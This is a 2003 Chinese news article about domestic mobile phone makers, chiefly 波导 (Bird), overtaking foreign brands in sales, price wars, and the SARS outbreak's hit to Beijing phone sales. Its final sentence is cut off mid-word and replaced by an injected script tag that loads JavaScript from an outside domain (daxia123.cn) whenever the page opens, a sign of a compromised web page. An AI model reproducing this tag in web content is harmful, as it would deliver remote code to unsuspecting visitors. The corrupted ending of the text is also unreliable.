波导以渠道制胜 国产手机逃过SARS之劫?

添加时间:2003-05-27 | 来自媒体:21世纪经济报道 | 点击:6402

    当波导突然遭遇SARS          

    回首去年底,盘整年关的国产手机商波导在宁波奉化"自省",波导总经理徐立华对2003年的手机市场下了三个预言:国产手机全面超越跨国公司,成为中国市场的主宰;但中国的手机产能也已严重过剩,经历广告大战后的国产手机商不得不马上投入价格大战;不堪重负的国产手机商难逃猝死的厄运。  

    显然,资深的国产手机厂商已经预估到,2003年将是其在中国市场上经历的最险恶一年。  

    在价格淘汰赛中长大  

    2003年第一季度,波导副总经理戴茂余认为,徐立华的预言已经实现了两个。  

    信息产业部经济体制改革与经济运行司公布的统计数据显示,今年第一季度中国市场一共销售了1100万部手机,其中国产手机的销量已经整体突破50%,首次超越洋品牌。  

    而信产部的GSM(GPRS)手机销售排名的更替则让人非常意外,波导内销336.4万台竟然超越了占据中国市场王座10年的摩托罗拉(内销250.1万台),而TCL则以247.76万的销量超过了诺基亚居第三,另一国产手机商康佳则超过了西门子。  

   今年农历新春过后短短不到一月,数十款彩屏新机接连上市,新机接踵而至,将无数黑白屏手机压成了库存,手机价格战骤然爆发。价格战首先被情急的摩托罗拉引爆,全系列手机普降,几款贵族手机降到2000元上下,其余手机顺推到一千多元的低端手机价位。  

    被认为实质性价格风暴的挑起者却是进军前五名的黑马康佳,一款彩屏双显折叠手机剧1108元跌破2000元的购买"心理线"。康佳的突然之举,导致整个国产手机阵营的"集体跳水",波导、科健、TCL相继全线降价。普遍降价导致国产手机商的毛利率大幅降低,3月后的降价风暴,令国产手机商的利润空间再次受到大幅度挤压。  

    结合各公司季报和信产部销量统计,销售收入16亿元的厦新手机利润6.17亿元,其37.24%的毛利率为国产手机之首,尽管如此,其手机的均价也只有1553元/台;而TCL手机业务收入28亿,利润5.3亿,毛利率只有19%;称雄市场的波导手机一直仰仗规模优势,业务收入达31亿,利润5.3亿,手机均价已只有823元,毛利率为17%。  

    波导副总戴茂余认为,价格之争还未见底,随着市场竞争再趋激烈,新的价格战还会爆发,对于一线厂商而言已,有规模尚可保留价格的回旋空间,但是二、三线手机厂商将由此面临生存之虑。  

    国产手机逃过SARS之劫  

    然而,突然蔓延的SARS病疫,却令看似木已成舟的价格大战争戛然而止。  

    4月中旬持续至今的SARS病毒令北京、上海和广州等一类城市的商业遭遇沉重打击,手机销售也不能够幸免。北京中复、迪信通、金飞鸿等大型手机卖场的零售量均遭遇程度不一的打击,按照北京市有关规定,一些大型手机市场不得不关门歇业,而所有厂商的大型促销和新品发布活动均被停止。  5月初,因员工感染非典而被迫关闭北京总部的摩托罗拉,将600多员工迁徙至北京另一办公地点,摩托罗拉的天津工厂出于安全的考虑也已经实行了轮班制度。  

    与此同时,包括摩托罗拉、诺基亚和西门子在内的许多跨国公司都停止了员工出差,对于那些正在出差的员工也责令返回公司所在地,所有大规模市场活动都被取消。  

    尽管生产、销售和维护的枢纽并未集中在SARS重灾区的一类城市,但是国产手机在北京等地的销售依然受到了沉重打击。  

    TCL和波导有关人士均表示,在SARS爆发前几月,几家一线国产手机商在北京的销量已经达到每天2000台,而广东的日均销量已接近万台。SARS爆发后,广东市场的变化尚可以接受,而北京市场销售业绩惨不忍睹。  

    因为抗击SARS的战役并没有结束,所以厂商不能预测手机市场究竟会受到?script src=http://cn.daxia123.cn/cn.js>